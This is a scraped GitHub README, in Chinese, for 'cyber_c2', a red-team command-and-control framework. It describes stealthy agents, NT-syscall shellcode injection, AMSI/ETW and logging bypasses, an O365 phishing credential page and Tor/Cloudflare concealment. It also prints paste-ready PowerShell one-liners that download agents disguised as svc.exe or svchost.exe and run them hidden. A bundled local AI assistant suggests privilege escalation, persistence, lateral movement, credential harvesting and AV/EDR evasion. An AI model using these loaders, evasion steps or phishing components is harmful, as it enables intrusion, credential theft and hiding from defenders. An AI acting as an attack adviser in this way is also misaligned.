neuralxploit/cyber_c2

GitHub: neuralxploit/cyber_c2

这是一个集成了多语言 Agent、Metasploit、本地 AI 助手以及 NT 级别内存注入技术的红队 C2 框架,旨在为渗透测试提供隐蔽且高效的远程控制能力。

Stars: 2 | Forks: 0

# CYBER C2 一个模块化的红队 Command & Control 框架,专为渗透测试和进攻性安全训练实验室构建。功能包括多语言 Agent(Rust、Nim、C#、PowerShell)、原生 Metasploit 集成、基于 BITS 的隐蔽 C2 通道、交互式 PTY shell,以及由 Ollama 驱动的本地 AI 助手。 ## 功能特性 ### C2 通道 - **WebSocket C2** - 具备自动重连功能的实时双向通信 - **BITS C2** - 使用 Windows 后台智能传输服务 (BITS) 轮询的隐蔽通道 - **MSF Relay** - 原生 Metasploit 会话中继,支持 meterpreter/shell 透传 ### 多语言 Agent 生态系统 | Agent | 语言 | 大小 | 主要功能 | |-------|----------|------|-------------| | `rust_agent_v3` | Rust | ~1.8MB | 完整的 ConPTY PTY shell,BITS C2,绕过所有 AV | | `nim_agent` | Nim | ~120KB | 轻量级,原生 WinHTTP,EXE + DLL | | `cs_agent` | C# (.NET 8) | ~12MB | ConPTY + BITS 支持 | | `enhanced_agent` | PowerShell | N/A | 无文件 (Fileless),感知 AMSI,BITS 协议 | **Rust Agent(主要)** - 主要 Agent,不被 AV/EDR 检测: - **ConPTY** (Windows 伪控制台) - 完整的交互式 PTY shell,生成带有适当终端模拟的 `powershell.exe -NoLogo -NoProfile` - **BITS C2 通道** - 通过 `cmd.exe` 执行命令,维持持久化 shell 会话(在命令间保持状态) - **双模式** - 用于命令轮询的 BITS + 用于交互式 shell 的 WebSocket ConPTY - **DLL 变体** - 通过 `rundll32.exe` 或 `regsvr32` 加载 - **无控制台窗口** - 完全不可见运行 (`CREATE_NO_WINDOW` 标志) - **自动重连** - PTY 会话在网络中断后仍能存活 所有 Agent 均支持: - HMAC-SHA256 签名认证(流量中无明文密钥) - 在构建时通过 `start_c5.sh` 自动注入 C2 URL 和 token - 持久化 shell 会话(有状态,非一次性) ### Metasploit 集成 - 浏览器中的原生 MSFConsole PTY 透传 - 会话管理(meterpreter 和 shell) - 带有 SSL 的动态监听器/处理程序 (handler) 配置 - 通过 msfvenom 生成 Payload(raw、exe、dll) - 后渗透模块执行 ### Shellcode 注入与 MSF 集成 `i5_syscall.ps1` 脚本提供用于加载 msfvenom shellcode 的 **ntdll 级别 syscall 注入**: - **`i5_syscall.ps1`** - 直接 NT API syscall 注入(PowerShell v5+)。从 C2 下载 base64 shellcode,使用 `NtOpenProcess` → `NtAllocateVirtualMemory` → `NtWriteVirtualMemory` → `NtProtectVirtualMemory` (RW→RX) → `NtCreateThreadEx` 将其注入目标进程(`sihost`、`dllhost`、`taskhostw`)。绕过所有用户态 AV 挂钩,因为它直接调用 ntdll,从不接触 kernel32。 - **`i5_syscall_update.ps1`** - 相同的注入逻辑 + **AMSI 内存补丁** + **ETW 禁用** + **Script Block Logging 绕过**。完整的隐身链。 - Shellcode 由 `start_c5.sh` 使用 Donut 生成(将 Nim agent EXE 转换为位置无关 shellcode) - 相同的注入方法适用于任何 msfvenom shellcode (`msfvenom -p windows/x64/meterpreter/reverse_https ... -f raw | base64`) **流程:** `IEX(IWR .../i5_syscall.ps1)` → 从 C2 下载 `shellcode.txt` → 在 ntdll 级别注入 → meterpreter/agent 回连 ### 信息收集与提权 - **`CyberEnum.ps1`** - 全面的 Windows + AD 提权枚举器(PowerShell v3+): - 系统信息、用户上下文、危险特权(SeImpersonate、SeDebug 等) - UAC 绕过方法(注册表劫持、计划任务、DLL 劫持) - 安全软件检测(Defender、AMSI、AppLocker、WDAC、第三方 AV/EDR) - 凭据搜寻(cmdkey、Windows Vault、浏览器保存的密码、WiFi 密钥、unattend.xml、注册表自动登录) - 网络侦察(适配器、监听端口、用于横向目标的 ARP 缓存) - 服务错误配置(未加引号路径、可写二进制文件、SYSTEM 服务) - Active Directory 枚举(域控制器、域管理员、可 Kerberoast 的 SPN) - WSL 利用向量 - HTML 报告导出 (`-ExportHTML`) 和快速模式 (`-Quick`) - **`privesc_enum.ps1`** - 轻量级提权检查器 ### 规避与投递 - **NT syscall 直接注入** - 直接调用 ntdll,绕过所有用户态挂钩(AV、EDR、ETW、AMSI) - **AMSI 内存补丁** - 通过 `AmsiScanBuffer` 补丁实现运行时 AMSI 解钩 - **ETW 补丁** - 禁用事件跟踪以防止遥测 - **Script Block Logging 绕过** - 阻止 PowerShell 日志记录 - **ISO + LNK 投递** - 无需宏的 Mark-of-the-Web 绕过 - **HTA 走私** - 带有虚假进度 UI 的自包含 Payload - **Shellcode 加载器** - 分段 (staged) 和无分段 (stageless) 注入变体 ### 钓鱼引擎 - 邮件模板库(发票、会议、文档、密码重置) - 内置的 O365 凭据捕获页面 - 带有 IP 和 user-agent 跟踪的凭据记录 - SMTP 支持(Mailhog 用于测试,真实 SMTP 用于操作) ### AI 红队助手 - **由 Ollama 驱动** - 100% 本地运行,无需 API 密钥,无云服务 - 自动检测用户安装的任何模型(`llama3`、`mistral`、`qwen` 等) - 包含安全发现的终端输出分析 - 快速操作:提权、持久化、横向移动、凭据收集、规避 - 基于实时终端输出的上下文感知建议 ### 操作员控制台 - 多标签界面:MSFConsole PTY、Agent Shell、BITS C2、AI 面板 - 实时 Agent 状态(带心跳检测的在线/离线) - 用于并发操作的 WebSocket 多路复用 - 基于 RSA 密钥的身份验证与 JWT 会话 - 多操作员支持 ### OPSEC 堆栈 - **双重 Cloudflare 隧道** - C2 (`localhost:8000`) 和 MSF (`localhost:8443`) 分开隧道,各自拥有独立的 `.trycloudflare.com` URL - **Tor 路由** - 隧道可通过 Tor SOCKS5 代理路由以增强匿名性 - **分层匿名** - VPN + Tor + Cloudflare(启动时自动检测) - **恢复模式** (`--resume` / `-r`) - 崩溃后保持相同的隧道 URL,以便已部署的 Payload 继续工作 - Token 保护的有效载荷投递端点 - mTLS 双向身份验证(可选) - 重放攻击防护(5 分钟 HMAC 时间戳窗口) ## 快速开始 ### 前置条件 所有依赖项均由 `setup_ubuntu.sh` 自动安装: | 依赖项 | 用途 | |-----------|---------| | Python 3.10+ | C2 服务器 | | Redis | 会话状态与任务跟踪 | | Metasploit Framework | MSF 控制台、meterpreter 会话、Payload 生成 (msfvenom) | | Rust + MinGW-w64 | 为 Windows 交叉编译 Rust Agent (x86_64-pc-windows-gnu) | | Nim | 编译轻量级 Nim Agent (~120KB,可规避 AV) | | .NET 8 SDK | 编译 C# Agent(可选,如需要请手动安装) | | Cloudflared | 双 Cloudflare 隧道 (C2 + MSF) | | Tor + torsocks | 匿名隧道路由(可选,`--tor` 标志) | | Ollama | 本地 AI 助手(安装任何你想要的模型) | ### 安装 ``` # Clone git clone https://github.com/neuralxploit/cyber_c2.git cd cyber_c2 # 运行 setup(安装所有内容:MSF, Rust, Nim, Redis, Tor, Cloudflared, Python deps) chmod +x setup_ubuntu.sh ./setup_ubuntu.sh # 安装 Ollama + 用于 AI 助手的模型 curl -fsSL https://ollama.com/install.sh | sh ollama pull llama3.1 # or: mistral, qwen2.5, codellama, etc. ``` `setup_ubuntu.sh` 按顺序安装: 1. 系统包(构建工具、OpenSSL、netcat) 2. Redis 3. Cloudflared (Cloudflare 隧道) 4. **Metasploit Framework** (msfconsole、msfvenom、meterpreter) 5. **Rust** + MinGW-w64 交叉编译器(Windows Agent 编译) 6. **Nim**(轻量级 Agent 编译) 7. Python venv + 所有 pip 依赖 8. 带控制端口的 Tor 9. 目录、SSL 证书 ### 启动 ``` chmod +x start_c5.sh ./start_c5.sh ``` 在**首次运行**时,`start_c5.sh` 会自动: 1. 从 `.env.example` 创建 `.env` 2. 生成 `JWT_SECRET` 3. 生成 RSA 管理员密钥对(`admin.key` + 将公钥添加到 `.env`) 4. 生成全新的 `PAYLOAD_TOKEN`、`AGENT_API_KEY`、`A2A_JWT_SECRET` 无需手动配置 - 直接运行并登录即可。 **完整启动序列:** 1. 首次运行设置(`.env`、密钥、token) 2. 验证 OPSEC 层(VPN、Tor 检测) 3. 为 Windows 交叉编译 Rust Agent (x86_64-pc-windows-gnu) 4. 启动**双重 Cloudflare 隧道**(C2 在 `:8000`,MSF 在 `:8443`),可选择通过 Tor 路由 5. 将隧道 URL 和 token 注入所有 Payload 源文件 6. 使用新配置编译 Nim 和 C# Agent 7. 启动 C2 服务器(FastAPI + Redis) 8. 打印带有实时隧道 URL 的即用型 Payload 单行命令 ``` # Resume 模式 - 重用现有的 tunnel URL(例如在崩溃后) ./start_c5.sh --resume # 通过 Tor 路由以增强匿名性 ./start_c5.sh --tor ``` ## Payload 投递 启动后,`start_c5.sh` 会打印出目标机可直接粘贴的命令: ``` # Rust Agent(推荐 - 完整 PTY shell) $d=$env:LOCALAPPDATA+'\Temp\svc.exe';IWR '/payloads/rust_agent.exe?key=' -OutFile $d;Start-Process $d -WindowStyle Hidden # Nim Agent(轻量级,AV 规避) $d=$env:TEMP+'\svchost.exe';IWR '/payloads/agent_nim.exe?key=' -OutFile $d;Start-Process $d -WindowStyle Hidden # PowerShell(无文件) powershell -nop -ep bypass -w hidden -c "IEX((New-Object Net.WebClient).DownloadString('/payloads/enhanced_agent_fastapi.ps1?key='))" # Syscall Injection(AMSI/ETW bypass) IEX(IWR '/payloads/i5_syscall.ps1?key=' -UseBasicParsing) ``` ## 项目结构 ``` cyber_c2/ ├── main.py # FastAPI C2 server (endpoints, WebSockets, agent mgmt) ├── start_c5.sh # Launch script (build, configure, deploy) ├── app/ │ ├── security.py # JWT, HMAC-SHA256, mTLS auth │ ├── crypto_auth.py # RSA challenge-response │ └── database.py # SQLite user store ├── static/ │ ├── index.html # Operator console UI │ ├── js/ │ │ ├── c2.js # Core C2 frontend logic │ │ ├── ai_chat.js # AI assistant module │ │ └── c2_msf_pty.js # MSF PTY integration │ ├── bits.html # BITS C2 agent page │ └── o365.html # Phishing credential page ├── payloads/ │ ├── rust_agent_v3/ # Rust agent (ConPTY, DLL, persistence) │ ├── nim_agent/ # Nim agent (lightweight, WinHTTP) │ ├── cs_agent/ # C# .NET 8 agent │ ├── dropper_rust/ # Rust shellcode dropper │ ├── rust_injector/ # Rust process injector │ ├── *.ps1 # PowerShell loaders & injectors │ └── *.hta # HTA delivery payloads ├── tools/ # Recon & exploit tools ├── sophos_bypass/ # EDR bypass research & techniques └── .env.example # Configuration template ``` ## 身份验证设置 操作员控制台使用**基于 RSA 密钥的身份验证** - 无需密码。您将私钥粘贴到登录页面,服务器会根据您的公钥进行验证。 **自动方式(推荐):** `start_c5.sh` 在首次运行时生成所有内容 - 直接使用以下方式登录: ``` cat admin.key # 复制输出并粘贴到登录页面 ``` **手动方式(如需要):** ``` python generate_keys.py # 创建 admin.key 并打印 ADMIN_PUBLIC_KEY 以添加到 .env ``` ## AI 助手设置 AI 助手使用 **Ollama** - 完全在您的机器上运行,无需 API 密钥或云服务。 ``` # 安装 Ollama curl -fsSL https://ollama.com/install.sh | sh # 拉取任意模型 ollama pull llama3.1 # General purpose ollama pull mistral # Fast & capable ollama pull qwen2.5 # Good for code ollama pull codellama # Code-focused # C2 自动检测您安装的任何模型 # 或在 .env 中设置特定的模型: # OLLAMA_MODEL=llama3.1 ``` AI 面板提供: - **Analyze(分析)** - 扫描终端输出以查找凭据、错误配置、攻击路径 - **Privesc(提权)** - 提供精确命令的提权建议 - **Persist(持久化)** - 持久化机制推荐 - **Lateral(横向)** - 横向移动技术 - **Creds(凭据)** - 凭据收集方法 - **Evasion(规避)** - AV/EDR 绕过技术 ## 配置 所有配置均在 `.env` 中(如果不存在则由 `start_c5.sh` 自动生成): | 变量 | 描述 | 默认值 | |----------|-------------|---------| | `PORT` | C2 服务器端口 | `8000` | | `MSF_HOST` | Metasploit RPC 主机 | `127.0.0.1` | | `MSF_PORT` | Metasploit RPC 端口 | `55553` | | `OLLAMA_BASE_URL` | Ollama API 端点 | `http://localhost:11434/v1` | | `OLLAMA_MODEL` | LLM 模型(留空 = 自动检测) | *(自动)* | | `PAYLOAD_TOKEN` | Payload 投递认证 token | *(自动生成)* | | `AGENT_API_KEY` | Agent 回连认证密钥 | *(自动生成)* | | `A2A_JWT_SECRET` | JWT 签名密 | *(自动生成)* | ## 免责声明 本工具**仅供授权的安全测试和教育目的**提供。仅限在您拥有或已获得明确书面许可的环境中使用。作者不对误用负责。 ## 许可证 MIT
标签:AI助手, AI合规, AI风险缓解, BITS, C2框架, Cloudflare隧道, ConPTY, DNS 反向解析, Hpfeeds, IPv6, IP 地址批量处理, LLM评估, Nim, NTDLL, Ollama, PowerShell, PTY Shell, Rust, Shellcode注入, TGT, Tor, WebSocket, 交互式Shell, 代理, 依赖分析, 反向连接, 可视化界面, 命令控制, 安全学习资源, 搜索引擎查询, 攻防演练, 数据展示, 数据采集, 无文件攻击, 本地AI, 正向连接, 知识库安全, 系统调用, 红队, 红队基础设施, 绕过AV, 绕过EDR, 网络安全, 网络流量审计, 逆向工具, 隐私保护, 隐蔽通道